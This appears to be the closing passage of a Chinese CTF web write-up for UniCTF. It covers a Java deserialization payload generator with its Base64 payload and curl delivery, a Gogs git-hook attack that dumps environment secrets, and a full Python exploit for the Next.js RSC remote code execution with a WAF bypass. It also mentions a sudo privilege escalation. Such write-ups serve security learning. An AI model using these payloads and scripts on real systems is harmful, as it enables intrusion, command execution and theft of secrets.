 import java.nio.file.Files;
 import java.nio.file.Paths;
 import java.util.Base64;
 
 public class MakePayloadCfg {
    public static void main(String[] args) throws Exception {
        if (args.length < 1) {
            System.err.println("Usage: MakePayloadCfg <Exploit.class path>");
            return;
        }
        byte[] classBytes = Files.readAllBytes(Paths.get(args[0]));
        byte[] obfuscated = new byte[classBytes.length];
        for (int i = 0; i < classBytes.length; i++) {
            obfuscated[i] = (byte) (classBytes[i] ^ 0xFF);
        }
 
        ConfigDataWrapper cfg = new ConfigDataWrapper();
        cfg.setConfigId("CONF-2025");
        cfg.setSign("ready");
        cfg.setClassByte(obfuscated);
        cfg.addMetadata("creator", "InternalManager");
 
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeUTF("InternalManager");
        oos.writeInt(2025);
        oos.writeObject(cfg);
        oos.close();
 
        String b64 = Base64.getEncoder().encodeToString(bos.toByteArray());
        System.out.println(b64);
    }
 }
 

payload_cfg.b64:最终可直接投递的 Base64

1
 rO0ABXcVAA9JbnRlcm5hbE1hbmFnZXIAAAfpc3IAJmNvbS51bmljdGYuY3RmLnRvb2xzLkNvbmZpZ0RhdGFXcmFwcGVyAAAAAYrFIVcCAAZJAAhjaGVja3N1bUoADGxhc3RNb2RpZmllZFsACUNsYXNzQnl0ZXQAAltCTAAIY29uZmlnSWR0ABJMamF2YS9sYW5nL1N0cmluZztMAAhtZXRhZGF0YXQAD0xqYXZhL3V0aWwvTWFwO0wABHNpZ25xAH4AAnhwAAAAAAAAAZwKRyBJdXIAAltCrPMX+AYIVOACAAB4cAAADy01AUVB////y/8m9f/9//z4//vz//r/+f7/75WeiZ7Qk56RmNCwnZWanIv+//nDlpGWi8H+//zX1qn6////////9Ef1//X/9Pj/8/P/8v/x/v/vlZ6JntCTnpGY0KuXjZqem/7/+oyTmpqP/v/717XWqfX/7//u+P/t8//s/+v+//i6h4+TkJaL/v/3jZqem7mTnpj+/+vX1rOVnome0JOekZjQrIuNlpGYxPX/6f/o+P/n8//m/+X+/++Vnome0JOekZjQrIuNlpGY/v/4loy6ko+Lhv7//NfWpff/4/7/+bGwubO+uPX/4f/g+P/f8//e/93+/++Vnome0IqLlpPQvZ6MmsnL/v/1mJqLupGckJuajf7/49fWs5WeiZ7QiouWk9C9noyaycvbupGckJuajcT2/9v/2vj/2fP/2P/X/v/elZ6JntCRlpDQnJeejYyai9Csi56Rm56Nm7yXno2MmouM/v/6qqu5oMf+/+WzlZ6JntCRlpDQnJeejYyai9C8l56NjJqLxPX/6f/V8//U/9P+//eYmou9houajP7/4dezlZ6JntCRlpDQnJeejYyai9C8l56NjJqLxNakvfX/0f/Q+P/P8//O/83+/+eVnome0IqLlpPQvZ6MmsnL27qRnJCbmo3+//GakZyQm5qrkKyLjZaRmP7/6dekvdazlZ6JntCTnpGY0KyLjZaRmMT3/8v+/8OQjZjRjI+NlpGYmY2ekpqIkI2U0YiandGckJGLmoeL0Y2ajoqajIvRrZqOipqMi7yQkYuah4u3kJObmo31/8n/yPj/x/P/xv/F/v/wlZ6JntCTnpGY0LyTnoyM/v/4mZCNsZ6Smv7/2tezlZ6JntCTnpGY0KyLjZaRmMTWs5WeiZ7Qk56RmNC8k56MjMT3/8P+/+uYmoutmo6KmoyLvouLjZadiouajPX/yf/B8//A/7/+//aYmouymouXkJv+/7/Xs5WeiZ7Qk56RmNCsi42WkZjEpLOVnome0JOekZjQvJOejIzE1rOVnome0JOekZjQjZqZk5qci9CymouXkJvE9f+9/7z4/7vz/7r/uf7/55WeiZ7Qk56RmNCNmpmTmpyL0LKai5eQm/7/+ZaRiZCUmv7/xtezlZ6JntCTnpGY0LCdlZqci8Sks5WeiZ7Qk56RmNCwnZWanIvE1rOVnome0JOekZjQsJ2VmpyLxPf/t/7/v5CNmNGMj42WkZiZjZ6SmoiQjZTRiJqd0ZyQkYuah4vRjZqOipqMi9Gsmo2Jk5qLrZqOipqMi76Li42WnYqLmoz1/8n/tfP/tP+z/v/1loy2kYyLnpGcmv7/6tezlZ6JntCTnpGY0LCdlZqci8TWpff/sf7/9Jiai62ajI+QkYya+P+v/v/slZ6JntCTnpGY0KuXjZCInp2Tmvf/rf7/0JCNmNGej56cl5rRnJ6LnpOWkZ7RnJCNmtG+j4+Tlpyei5aQkbmWk4uajbyXnpaR9/+r/v/omJqLs56Mi6yajYmWnJqbrZqMj5CRjJr4/6n+/+CVnome0JOekZjQsZCsipyXspqLl5Cbuoecmo+LlpCR9/+n/v/rk56Mi6yajYmWnJqbrZqMj5CRjJr1/8n/pfP/pP+j/v/vmJqLu5qck56Nmpu5lpqTm/7/0tezlZ6JntCTnpGY0KyLjZaRmMTWs5WeiZ7Qk56RmNCNmpmTmpyL0LmWmpObxPX/of+g+P+f8/+e/53+/+iVnome0JOekZjQjZqZk5qci9C5lpqTm/7/8oyai76cnJqMjJadk5r+//vXpdap9f+h/5vz/5r/mf7//Jiai/7/2dezlZ6JntCTnpGY0LCdlZqci8TWs5WeiZ7Qk56RmNCwnZWanIvE+P+X/v/qlZ6JntCTnpGY0KuXjZqem7OQnJ6T9f+Y/5Xz/5r/lP7/69fWs5WeiZ7Qk56RmNCwnZWanIvE9/+S/v/ZlZ6JnofRjJqNiZOai9GXi4uP0beLi4+smo2Jk5qLrZqMj5CRjJr3/5D+//aMmou3mp6bmo33/47+//mn0rmTnpj3/4z+//Wn0rmTnpjSvcnL9/+K/v/ilZ6JnofRjJqNiZOai9Gsmo2Jk5qLrZqMj5CRjJr3/4j+//aYmouojZaLmo31//3/hvP/hf+E/v/3mJqLvJOejIz+/+zX1rOVnome0JOekZjQvJOejIzE9/+C/v/6iI2Wi5r4/4D+/+iVnome0JOekZjQrIuNlpGYvYqWk5uajfX/gf/89/99/v/6ubO+uMX1/4H/e/P/ev95/v/5no+PmpGb/v/S17OVnome0JOekZjQrIuNlpGYxNazlZ6JntCTnpGY0KyLjZaRmL2KlpObmo3E9/93/v/+9fX/gf918/90/+v+//eLkKyLjZaRmPf/cv7/+pmTioyX9/9w/v/60JmTnpj3/27+//bQmZOemNGLh4v3/2z+//bQno+P0JmTnpj3/2r+//LQno+P0JmTnpjRi4eL9/9o/v/x0JeQkprQnIuZ0JmTnpj3/2b+/+3Ql5CSmtCci5nQmZOemNGLh4v4/2T+//OVnome0JaQ0LmWk5r1/2X/YvP/+v9h/v/q17OVnome0JOekZjQrIuNlpGYxNap9f9l/1/z/17/5f7/+ZqHloyLjPX/Zf9c8/9b/+X+//mWjLmWk5r4/1n+/+mVnome0JaQ0L2KmZmajZqbrZqem5qN+P9X/v/mlZ6JntCWkNC2kY+Ki6yLjZqekq2anpuajfj/Vf7/6JWeiZ7QlpDQuZaTmraRj4qLrIuNmp6S9f9W/1Pz//r/Uv7/7tezlZ6JntCWkNC5lpOaxNap9f9Y/1Dz//r/T/7/zdezlZ6JntCWkNC2kY+Ki6yLjZqeksSzlZ6JntCRlpDQnJeejYyai9C8l56NjJqLxNap9f9a/03z//r/TP7/7NezlZ6JntCWkNCtmp6bmo3E1qn1/1r/SvP/Sf/r/v/3jZqem7OWkZr1/1r/R/P/Rv/5/v/6nJOQjJr1/7D/RPP/Q/9C/v/ynpubrIqPj42ajIyam/7/59ezlZ6JntCTnpGY0KuXjZCInp2TmsTWqfj/QP7/7JWeiZ7Qk56RmNC6h5yaj4uWkJH3/z7+//u5s7649f88/zv4/zrz/zn/OP7/75WeiZ7Qk56RmNCshoyLmpL+//mYmouakYn+/9nXs5WeiZ7Qk56RmNCsi42WkZjE1rOVnome0JOekZjQrIuNlpGYxPf/Nv7/+5mTnpj1/zz/NPP/M/84/v/0mJqLr42Qj5qNi4b3/zH+///+//u8kJua/v/ws5aRmrGKkp2ajauenZOa/v/yrIuenJSyno+rnp2Tmv7/9bqHnJqPi5aQkYz4/yv+/+yks5WeiZ7Qk56RmNCsi42WkZjE/v/1rJCKjZyauZaTmv7/87qHj5OQlovRlZ6Jnv7/87aRkZqNvJOejIyajP7/+LqRnJCbmo3/3v/v//3///////3//v/6//n//f8w///9G//4//f///5h1Uj//uv/+Ef/9tVI//Cz1Dn/9dRJ/+pm//nt5LNH/+LUTf/cSf/WSf/Ssv6x7cxH/8rF++b77cT8Qv/JSf/C/vxC//1J/77F+ub6Of/W7bhH/8rF+eb55vpJ/7Zm/+fm+e2y/EL/yUn/wub6/EL//Un/vrFY//rF+9I4/6/trkf/ysX75vvtrPxC/8lJ/8L+/EL//Un/vrFY/9LF+ub77ahJ/6bF+eb5+0n/oub5/kn/nMX45vg+/5hm//Pm+D//mEn/lrFY//rF+9I5/zHtk0f/ysX75vvtkfpC/8mm/O3prKb77emsSf/C0vpC//2m/O2PrKb71KxJ/76o5vvtkfpC/8mm/O3prKb77emsSf/C0vpC//2m/O2NrKb706xJ/76oWP/6xfvti0f/ysX75vvtifxC/8lJ/8LS/EL//Un/vsX65vpJ/4ftg/tC/8mm/O3prEn/wub6+0L//ab8RP+Bpkj/f+1+Sf981En/fO14Sf98Sf92rEn/vqjm+kn/h+1z/EL/yUn/wub6/EL//Un/vqhY//rF+1j/+7JO//n/0v+L/4j/sP97/2f/ZP+q/4L/Ov83/7D/Mf7c/tn/sP7X/mv+aP+w/+L+Zv5j/7D//f8v////Vf/V////9v/7//X/9f/0//D/8//l//L/4v/u/9T/7f/S/+n/y//o/7b/5/+x/+b/qv/l/6D/5P+L/+D/iP/h/4b/3f+C/9v/e//Z/2f/0f9k/9j/Yv/X/1n/1v9T/9X/S//U/0P/0/86/8//N//Q/zX/zP8x/8r/Kv/J/wP/yP7c/8b+2f/H/tf/xP7Q/8P+u//C/oP/wf5r/7/+aP/A/mb/vP5j/73+Yv+7/y7///+r//AA/+X//fj/7/j/6f///QL/qfj/6fj//b34/7D+AP/e//r4/+/4/+n4/+n4//34/8n//vj/qgX/1r34/7D+CP+k+P+w/gj/kfj/sAb//r34/7D//y3////7//7/Qf/9/+z/6//+/zD///4f//j/9f///xvv+UL/6ab87XGspvvtb6ym+u1trKb57Wuspvjtaaym9+1nrLPUstNBwfzJ++r74l3/c9Pq+83F+kT/Zabm+kj/Y8X55vlJ/2Bm//Tm+Un/XWX/+Vj/nUT/WqZE/1imRP9Wpub5SP9UTf/cSP9RSP9Oxfjm+En/S8X35vc5/+jm90n/6mX/8Ob3xfbm+En/SOb2T+b4Sf9IWP/mxffm+En/SFj/88X25vfm9kn/Reb3QFj/+sX5e/v+WACL7T9H/z2y0zn/89NJ/+pl//rTT+03R/81stM5//PTSf/qZf/600/tMk//+v+N/3X/Zf+w/2P/Xv9b/7D/x/+s/0z/Qf+p/3D/TP9B/23/T/9M/0H//f8v////of/o////uP/b/6//x/+t/7z/rP+s/6v/qf+p/43/qP+G/6f/ef+m/3X/pP9w/6b/bf+k/2X/qf9P/6L/TP+j/0r/r/9E/5//Pv+e/zP/nf8x/5v/K/+a/yD/mf8e/5f/Lv///6H/8gD/0//6+P/v+P8s+P8s/v7//wL/2fj/6fj/Zf0D/8T4/1q4+P+wAP/2//b4/+/4/yz4/yz+/vj/6fj/Zfj/Wvj/sP/++P+w9wf//b34/0EF//4H//oD/+34/+nt//3/Kv////3/Kf8o////9f/+/9H/4f8n//Z0AAlDT05GLTIwMjVzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAMdwgAAAAQAAAAAXQAB2NyZWF0b3J0AA9JbnRlcm5hbE1hbmFnZXJ4dAAFcmVhZHk=

关键命令示例

1
2
3
4
5
 # 编译 payload(目标 JVM 不确定,使用 --release 8 兼容)
 cd d:\code\temp\unictf_payload
 javac --release 8 com\unictf\ctf\tools\ConfigDataWrapper.java Exploit.java MakePayloadCfg.java
 java MakePayloadCfg Exploit.class > payload_cfg.b64 # 投递并查看响应头/体
 curl.exe -i -s -X POST --data-urlencode "configData@d:\code\temp\unictf_payload\payload_cfg.b64" ^ "http://8888-a9d7cc25-d52f-4333-b3d2-3d4d50519a7d.challenge.ctfplus.cn/api/user/settings/import"

响应里包含:

1
 X-Flag: UniCTF{sh1z1-51b7cedc-a471-47a3-8918-7c0f88daff68} FLAG:UniCTF{sh1z1-51b7cedc-a471-

gogogos

解题思路(简要)

  • 站点是 Gogs,默认账号弱口令 ctf/ctf,且是管理员。
  • 管理员可在仓库 Git Hooks 写入 post-receive 脚本(服务器执行)。
  • 触发一次 push → hook 执行 → 输出 env(含 FLAG)到仓库文件。
  • 访问 raw 文件拿到 flag。

操作步骤(Burp + MCP 也可复现)

  1. 登录
  • GET /user/login 抓取 _csrf
  • POST /user/login
    • 表单:user_name=ctf&password=ctf&_csrf=…
    • 记得同时带 Cookie:_csrf=<同值>
  1. 创建仓库(如 test)
  • GET /repo/create 取 _csrf
  • POST /repo/create(repo_name=test&private=on&auto_init=on&_csrf=…)
  1. 写入 Git Hook
  • 进入:/ctf/test/settings/hooks/git/post-receive
  • POST 同路径,提交 content 为脚本:

#!/bin/sh
GIT_DIR=”$(pwd)”
WT=$(mktemp -d)
git –git-dir=”$GIT_DIR” –work-tree=”$WT” checkout -f master
|| git –git-dir=”$GIT_DIR” –work-tree=”$WT” checkout -f -b master
env | sort > “$WT/flag_dump.txt”
git –git-dir=”$GIT_DIR” –work-tree=”$WT” add flag_dump.txt
git –git-dir=”$GIT_DIR” –work-tree=”$WT” -c user.name=ctf -c user.email=ctf@local commit -m “dump env” || true

  1. 触发 hook(push 一次即可)

git clone http://ctf:ctf@3000-eb2121d4-0ac0-4437-9393-f2b8241be540.challenge.ctfplus.cn/ctf/test.git
cd test
echo trigger >> trigger.txt
git add trigger.txt
git commit -m trigger
git push

  1. 读取 flag
  • 访问:/ctf/test/raw/master/flag_dump.txt
  • 文件里能看到:

FLAG=UniCTF{5550e4b6-8692-4f8f-b93b-3e8654251baf}

命令示例(可选)

  • 直接 curl raw(带 basic auth):
1
2
 curl -u ctf:ctf \
  http://3000-eb2121d4-0ac0-4437-9393-f2b8241be540.challenge.ctfplus.cn/ctf/test/raw/master/flag_dump.txt

miowaf

开局是打有过滤的cve-2025-55182,github找到一个仓库https://github.com/ynsmroztas/NextRce

牛逼队友直接写了个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
 #!/usr/bin/env python3
 import argparse
 import base64
 import math
 import socket
 import sys
 from urllib.parse import urlparse
 
 
 UA = "Mozilla/5.0"
 
 
 def _http_get(url: str, timeout: float) -> str:
    # Try requests if available; fallback to urllib
    try:
        import requests # type: ignore
 
        r = requests.get(
            url,
            headers={"User-Agent": UA, "Accept-Encoding": "identity"},
            timeout=timeout,
        )
        return r.text
    except Exception:
        import urllib.request
 
        req = urllib.request.Request(
            url,
            headers={"User-Agent": UA, "Accept-Encoding": "identity"},
        )
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            return resp.read().decode("utf-8", "ignore")
 
 
 def _extract_challenge(html: str) -> int:
    marker = 'id="challenge"'
    idx = html.find(marker)
    if idx == -1:
        raise ValueError("challenge not found")
    start = html.find(">", idx)
    end = html.find("<", start + 1)
    if start == -1 or end == -1:
        raise ValueError("challenge parse failed")
    return int(html[start + 1 : end])
 
 
 def _factor(n: int):
    if n % 2 == 0:
        return 2, n // 2
    limit = int(math.isqrt(n))
    for i in range(3, limit + 1, 2):
        if n % i == 0:
            return i, n // i
    raise ValueError("challenge not composite?")
 
 
 def _build_body(cmd: str, bypass: bool = True) -> bytes:
    payload_template = (
        '{{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
        '"value":"{{\\"then\\":\\"$B1337\\"}}","_response":{{"_prefix":'
        '"var res=process.mainModule.require(\'child_process\').execSync(\'{cmd}\').toString(\'base64\');'
        'throw Object.assign(new Error(\'x\'),{{digest: res}});","_chunks":"$Q2",'
        '"_formData":{{"get":"$1:constructor:constructor"}}}}}}'
    )
    json_payload = payload_template.format(cmd=cmd)
    boundary = "----NextRceMitsecOps"
 
    if bypass:
        part0_headers = (
            f"--{boundary}\r\n"
            "Content-Disposition: form-data; name=\"0\"\r\n"
            "Content-Type: text/plain; charset=utf-16le\r\n\r\n"
        ).encode("utf-8")
        part0_content = json_payload.encode("utf-16le")
        part1 = (
            f"\r\n--{boundary}\r\n"
            "Content-Disposition: form-data; name=\"1\"\r\n\r\n"
            '"$@0"\r\n'
        ).encode("utf-8")
        part2 = (
            f"--{boundary}\r\n"
            "Content-Disposition: form-data; name=\"2\"\r\n\r\n"
            "[]\r\n"
            f"--{boundary}--\r\n"
        ).encode("utf-8")
        return part0_headers + part0_content + part1 + part2
 
    body = (
        f"--{boundary}\r\n"
        "Content-Disposition: form-data; name=\"0\"\r\n\r\n"
        f"{json_payload}\r\n"
        f"--{boundary}\r\n"
        "Content-Disposition: form-data; name=\"1\"\r\n\r\n"
        '"$@0"\r\n'
        f"--{boundary}\r\n"
        "Content-Disposition: form-data; name=\"2\"\r\n\r\n"
        "[]\r\n"
        f"--{boundary}--\r\n"
    )
    return body.encode("utf-8")
 
 
 def _send_pipeline(host: str, port: int, path: str, cookie: str, body: bytes, timeout: float) -> bytes:
    boundary = "----NextRceMitsecOps"
    get_req = (
        f"GET / HTTP/1.1\r\n"
        f"Host: {host}:{port}\r\n"
        f"User-Agent: {UA}\r\n"
        "Accept: */*\r\n"
        "Accept-Encoding: identity\r\n"
        "Connection: keep-alive\r\n"
        f"Cookie: {cookie}\r\n\r\n"
    )
 
    post_headers = (
        f"POST {path} HTTP/1.1\r\n"
        f"Host: {host}:{port}\r\n"
        f"User-Agent: {UA}\r\n"
        "Accept: */*\r\n"
        "Accept-Encoding: identity\r\n"
        "Connection: close\r\n"
        # lowercase header bypass
        "next-action: x\r\n"
        f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
        f"Content-Length: {len(body)}\r\n"
        f"Cookie: {cookie}\r\n\r\n"
    ).encode("utf-8")
 
    req_bytes = get_req.encode("utf-8") + post_headers + body
 
    s = socket.create_connection((host, port), timeout=timeout)
    s.settimeout(timeout)
    s.sendall(req_bytes)
    chunks = []
    while True:
        try:
            data = s.recv(4096)
            if not data:
                break
            chunks.append(data)
        except socket.timeout:
            break
    return b"".join(chunks)
 
 
 def _extract_digest(resp: bytes):
    needle = b'"digest":"'
    idx = resp.rfind(needle)
    if idx == -1:
        return None
    start = idx + len(needle)
    end = resp.find(b"\"", start)
    if end == -1:
        return None
    return resp[start:end].decode("utf-8", "ignore")
 
 
 def main():
    ap = argparse.ArgumentParser(description="Next.js RSC exec helper")
    ap.add_argument("-u", "--url", default="http://nc1.ctfplus.cn:46999/", help="Target base URL")
    ap.add_argument("-p", "--path", default="/", help="POST path (default /)")
    ap.add_argument("-c", "--cmd", required=True, help="Command to execute")
    ap.add_argument("--no-bypass", action="store_true", help="Disable UTF-16LE WAF bypass")
    ap.add_argument("--timeout", type=float, default=2.5, help="Socket timeout seconds")
    ap.add_argument("--show-digest", action="store_true", help="Print raw digest string too")
    ap.add_argument("--debug", action="store_true", help="Dump raw response to stderr")
    args = ap.parse_args()
 
    parsed = urlparse(args.url)
    if parsed.scheme != "http":
        print("Only http:// is supported by this script", file=sys.stderr)
        sys.exit(2)
    host = parsed.hostname or ""
    port = parsed.port or 80
 
    html = _http_get(args.url, timeout=args.timeout)
    challenge = _extract_challenge(html)
    p1, p2 = _factor(challenge)
    cookie = f"waf_num_token1={p1}; waf_num_token2={p2}"
 
    body = _build_body(args.cmd, bypass=not args.no_bypass)
    resp = _send_pipeline(host, port, args.path, cookie, body, timeout=args.timeout)
 
    if args.debug:
        sys.stderr.buffer.write(resp + b"\n")
 
    raw_digest = _extract_digest(resp)
    if raw_digest is None:
        print("[!] digest not found", file=sys.stderr)
        sys.exit(1)
 
    if args.show_digest:
        print(raw_digest)
 
    pad = "=" * (-len(raw_digest) % 4)
    try:
        decoded = base64.b64decode(raw_digest + pad)
        sys.stdout.buffer.write(decoded)
        if not decoded.endswith(b"\n"):
            sys.stdout.buffer.write(b"\n")
    except Exception:
        # fall back to raw digest
        print(raw_digest)
 
 
 if __name__ == "__main__":
    main()
 

上去发现/flag读不了,看见400,需要提权,发现sudo版本是1.9.15,可以打CVE-2025-32463,但是好像编译不了?(),直接在自己机器上编译好,调用python3分段解密base64成so即可。

后续发现有gcc,但当时确实传的一键利用脚本没跑起来,靶机关了现在也复现不了,有点可惜。

CATALOG
  1. 1. UniCTF web单方向wp
    1. 1.1. Web
      1. 1.1.1. secure doc
      2. 1.1.2. cloudDiag
      3. 1.1.3. Bytecode Complier
      4. 1.1.4. 一鸣唱吧
      5. 1.1.5. ezUpload
      6. 1.1.6. ezUpload Revenge!!
      7. 1.1.7. Joomla Revenge!
      8. 1.1.8. GlyphWeaver
      9. 1.1.9. intrasight
      10. 1.1.10. ezjava
      11. 1.1.11. gogogos
      12. 1.1.12. miowaf